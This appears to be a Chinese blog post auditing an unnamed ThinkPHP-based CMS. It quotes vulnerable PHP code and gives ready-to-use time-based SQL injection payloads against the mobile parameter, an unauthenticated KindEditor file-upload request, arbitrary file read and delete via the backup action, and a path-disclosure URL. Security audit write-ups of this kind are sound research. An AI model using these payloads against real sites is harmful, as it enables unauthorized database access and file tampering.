某类似onethink的代码审计
不知道者cms叫啥
后台页面这个样子

首先说一下,没找到什么getshell的点
- S函数全局未调用
- tp2、3、3.1的正则使用/e修饰符,但是没开启lite模式
- 后台file_put_contents函数全部转义
- 文件上传均采用白名单+重命名
- 未发现copy函数
- 未发现远程下载的函数
- 未发现文件包含
- 未发现代码执行和命令执行
- …
第一处假注入
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24
| public function addrechargelog(){
$username = session('username'); $data=[ 'pay_id'=>$username, 'type'=>1, 'status'=>3, 'up_time'=>date('Y-m-d H:i:s',time()), 'money'=>$_POST['money'], 'pay_tag'=>$_POST['notis'], 'bank_name'=>$_POST['bank_name'], 'bank_username'=>$_POST['bank_username'], 'bank_num'=>$_POST['bank_num'], 'creat_time'=>time() ]; $Dao = new Model(); $sql='INSERT INTO `codepay_order` ( `pay_id`, `money`, `type`, `pay_tag`, `status`, `creat_time`, `pay_time`, `up_time`,`bank_name`,`bank_username`,`bank_num`)'.' VALUES (\''.$username.'\',\''.$_POST['money'].'\',\''.$data['type'].'\',\''.$data['pay_tag'].'\',\''.$data['status'].'\',\''.$data['creat_time'].'\',\''.$data['creat_time'].'\',\''.$data['up_time'].'\',\''.$data['bank_name'].'\',\''.$data['bank_username'].'\',\''.$data['bank_num'].'\')'; $res = $Dao->query($sql); $res=[ 'error'=>0
]; exit(json_encode($res)) ; }
|
实际测试的时候发现不存在codepay_order表,真的苟啊!
pass
后台注入
举两个例子,有很多,不在多说
systemlogined模块下的shopAction
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| public function editProduct(){ $type = M('type'); $product = M("product"); $types = $type ->select(); $id = $_GET['id']; $data = $product -> find($id); $this -> assign('product',$data); $this->assign('types',$types); $this->display(); }
public function editbanner(){ $banner = M('banner'); $id = $_GET['id']; $banners = $banner -> find($id); $this->assign('banners',$banners); $this->display(); }
|
InfoAction的editxiangmu方法
1 2 3 4 5 6 7 8 9 10 11 12
| public function editxiangmu(){ $_POST['edittime'] = time(); $id = I('aid'); unset($_POST['aid']);
M('xiangmu')->where(array('id'=>$id))->data($_POST)->save(); $desc = '修改项目'; write_log(session('username'),'admin',$desc);
$this->success('修改成功',U(GROUP_NAME.'/Info/xiangmu')); }
|
以及agent模块下的commonAction
order可控
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| protected function _list($model, $map, $sortBy = '', $asc = false) { if (isset($_REQUEST['_order'])) { $order = $_REQUEST['_order']; } else { $order = !empty($sortBy) ? $sortBy : $model -> getPk(); } if (isset($_REQUEST['_sort'])) { $sort = $_REQUEST['_sort'] ? 'asc' : 'desc'; } else { $sort = $asc ? 'asc' : 'desc'; } $count_model = clone $model; if (!empty($count_model -> pk)) { $count = $count_model -> where($map) -> count($model -> pk); } else { $count = $count_model -> where($map) -> count(); } if ($count > 0) { import("ORG.Util.Page"); $listRows = 20; $p = new Page($count, $listRows); $voList = $model -> where($map) -> order("`" . $order . "` " . $sort) -> limit($p -> firstRow . ',' . $p -> listRows) -> select(); $p -> parameter = $this -> _search; $page = $p -> show(); ... }
|
然而有卵用,欠我一个柳暗花明
其实存在很多拼接问题,但是
- 要么有过滤
- 要么从session中获取,或者从数据库获取的参数
- 要么拼接的地方在model中没有调用
前台SQL注入
common中存在如下拼接的方法
1 2 3 4 5 6 7 8 9 10 11 12
| function sms_log($mobile,$code,$session_id){ $s_time=strtotime(date("Y-m-d 00:00:01",time())); $o_time=strtotime(date("Y-m-d 23:59:59",time())); $sms_count = M('sms_log')->where("mobile = '{$mobile}' and add_time > {$s_time} and add_time < {$o_time}")->count(); if($sms_count >=5){ return array('status'=>-1,'msg'=>'超出每日发送次数'); } ... }
|
函数跟踪,在前台存在两处调用
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| public function send_sms_reg_code(){ $mobile = I('mobile'); if(!check_mobile($mobile)) exit(json_encode(array('status'=>-1,'msg'=>'手机号码格式有误!'))); if (M('member')->where(array('mobile'=>$mobile))->getField('id')) { exit(json_encode(array('status'=>-1,'msg'=>'手机号码已存在!'))); } $code = rand(1000,9999); $send = sms_log($mobile,$code,session_id()); if($send['status'] != 1){ exit(json_encode(array('status'=>-1,'msg'=>$send['msg']))); } session('verify',null); exit(json_encode(array('status'=>1,'msg'=>'验证码已发送,请注意查收'))); }
... public function send_edit_code(){ $mobile = I('mobile'); if(!check_mobile($mobile)) exit(json_encode(array('status'=>-1,'msg'=>'手机号码格式有误!'))); $code = rand(1000,9999); $send = sms_log($mobile,$code,session_id()); if($send['status'] != 1) exit(json_encode(array('status'=>-1,'msg'=>$send['msg']))); exit(json_encode(array('status'=>1,'msg'=>'验证码已发送,请注意查收'))); }
|
任选一处,跟踪check_mobile方法,发现正则匹配,只有结尾的符号没有开头的符号
1 2 3 4 5
| function check_mobile($mobile){ if(preg_match('/1[34578]\d{9}$/',$mobile)) return true; return false; }
|
可以绕过
无条件注入,不需要注册,可直接访问,不过是延迟注入
payload:
1
| mobile=a') or if(1=1,1,sleep(1))-- #aaa15265501199
|

exp
如果是root则可以继续渗透,后台还原sql应该可以获取shell
1
| mobile=a') or if(substr(user(),1,4)='root',1,sleep(1))-- #aaa15265501199
|
后台表,字段如下

后台任意文件删除&读取
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71
| public function backUp() { $DataDir = RUNTIME_PATH.'databak/';
if (!empty($_GET['Action'])) { import("ORG.Util.MySQLReback"); $config = array( 'host' => C('DB_HOST'), 'port' => C('DB_PORT'), 'userName' => C('DB_USER'), 'userPassword' => C('DB_PWD'), 'dbprefix' => C('DB_PREFIX'), 'charset' => 'UTF8', 'path' => $DataDir, 'isCompress' => 0, 'isDownload' => 0 );
$mr = new MySQLReback($config); $mr->setDBName(C('DB_NAME')); if ($_GET['Action'] == 'backup') { $mr->backup(); $desc = '备份数据库'; write_log(session('username'),'admin',$desc);
redirect(U(GROUP_NAME.'/system/backUp')); } elseif ($_GET['Action'] == 'RL') { $mr->recover($_GET['File']); $desc = '还原数据库'; write_log(session('username'),'admin',$desc); redirect(U(GROUP_NAME.'/system/backUp')); } elseif ($_GET['Action'] == 'Del') { if (@unlink($DataDir . $_GET['File'])) { $desc = '删除备份文件'; write_log(session('username'),'admin',$desc); redirect(U(GROUP_NAME.'/system/backUp')); } else { $this->error('删除失败!'); } } if ($_GET['Action'] == 'dow') { function DownloadFile($fileName) { ob_end_clean(); header("Cache-Control: must-revalidate, post-check=0, pre-check=0"); header('Content-Description: File Transfer'); header('Content-Type: application/octet-stream'); header('Content-Length: ' . filesize($fileName)); header('Content-Disposition: attachment; filename=' . basename($fileName)); readfile($fileName); } DownloadFile($DataDir . $_GET['file']);
$desc = '下载备份文件'; write_log(session('username'),'admin',$desc); exit(); } }
$filelist = dir_list($DataDir); foreach ((array)$filelist as $r){ $filename = explode('-',basename($r)); $files[] = array('path'=> $r,'file'=>basename($r),'name' => $filename[0], 'size' => filesize($r), 'time' => filemtime($r)); } $this->assign('files',$files); $this->display(); }
|
安装getshell
在安装页面可以getshell,但是安装过之后,就不能在重装了,unlink了lock文件也不行
存在漏洞的参数。密钥key

其他
此cms采用KindEditor上传,继承了此上传组件的问题
未授权上传
可以上传zip、tz、rar、html、txt等后缀的文件
且属于未授权上传
上传页面
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29
| POST /APP/Modules/Systemlogined/Tpl/Public/kindeditor/php/upload_json.php?dir=file HTTP/1.1 Host: xxx.xxx.xxx.xxx Connection: close Content-Length: 82626 Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: https://xxx.xxx.xxx Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryjBlMirf8B1YmKKit User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.111 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9 Sec-Fetch-Site: same-origin Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: iframe Referer: https://xxx.xxx.xxx/index.php/systemlogined/shop/editProduct Accept-Encoding: gzip, deflate Accept-Language: zh-CN,zh;q=0.9,en-GB;q=0.8,en;q=0.7
------WebKitFormBoundaryjBlMirf8B1YmKKit Content-Disposition: form-data; name="localUrl"
C:\fakepath\1606186464076.png ------WebKitFormBoundaryjBlMirf8B1YmKKit Content-Disposition: form-data; name="imgFile"; filename="1606186464076.html" Content-Type: image/png
aaaaaa ------WebKitFormBoundaryjBlMirf8B1YmKKit--
|
物理路径泄露
1
| /APP/Modules/Systemlogined/Tpl/Public/kindeditor/php/file_manager_json.php?path=
|